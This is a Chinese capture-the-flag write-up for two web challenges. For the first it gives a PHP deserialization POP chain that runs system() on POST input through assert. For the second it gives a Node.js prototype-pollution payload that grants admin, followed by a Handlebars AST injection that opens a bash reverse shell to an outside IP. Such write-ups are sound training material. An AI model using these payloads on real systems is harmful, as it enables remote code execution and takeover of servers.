[2023香山杯]WEB WP

PHP_unserialize_pro

命令执行的时候对传入参数进行检测

public function __invoke(){
    $shell = $this->shell;
    $cmd = $this->cmd;
    if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
        die("U R A BAD GUY");
    }
    eval($shell($cmd));
}

使用assert执行system(end($_POST));让命令通过POST传输,POP链构造如下

<?php
error_reporting(0);
class Welcome{
    public $name;
    public $arg = 'welcome';
    public function __construct(){
        $this->name = 'A_G00d_H4ck3r';
        $this->arg = new H4ck3r();
    }
    public function __destruct(){
        if($this->name == 'A_G00d_H4ck3r'){
            echo $this->arg;
        }
    }
}

class G00d{
    public $shell = "system";
    public $cmd = "ls";
    public function __construct($shell, $cmd){
        $this->shell = $shell;
        $this->cmd = $cmd;
    }
}

class H4ck3r{
    public $func;
    public function __construct(){
        $this->func = new G00d("assert", 'system(end($_POST));');
    }
}

$s = new Welcome();
echo serialize($s);

?>

读取flag

meow_blog

分析源码,发现使用了handlebars

根据代码逻辑需要设置req.session.user.style,而req.session.user.style在style被设置

进入这个路由需要session.user.username为admin

现在想办法成为admin,注意到middleware.js的waf部分有个collection.extend

下载下看下extend函数的功能

当deepOrParams为true时,改函数执行的是一个深度拷贝。考虑原型链污染,修改session.user.username的值为admin,在支持post请求的/style路由处提交

{
  "key": {
    "__proto__": {
      "session": {
        "user":{
          "username":"admin"
        }
      }
    }
  }
}

访问主页发现污染成功

搜索一下Handlebars RCE的Payload:Handlebars AST注入

用原型链污染修改对应的属性,执行命令反弹shell

{
  "key": {
    "__proto__": {
      "type": "Program",
      "body": [
        {
          "type": "MustacheStatement",
          "path": 0,
          "params": [
            {
              "type": "NumberLiteral",
              "value": "console.log(process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.115.227.70/9999 0>&1\"').toString())"
            }
          ],
          "loc": {
            "start": 0
          }
        }
      ]
    }
  }
}

读取flag

不过后面想了想,好像并没有执行到handlebar.complie()命令就执行了。不太清楚...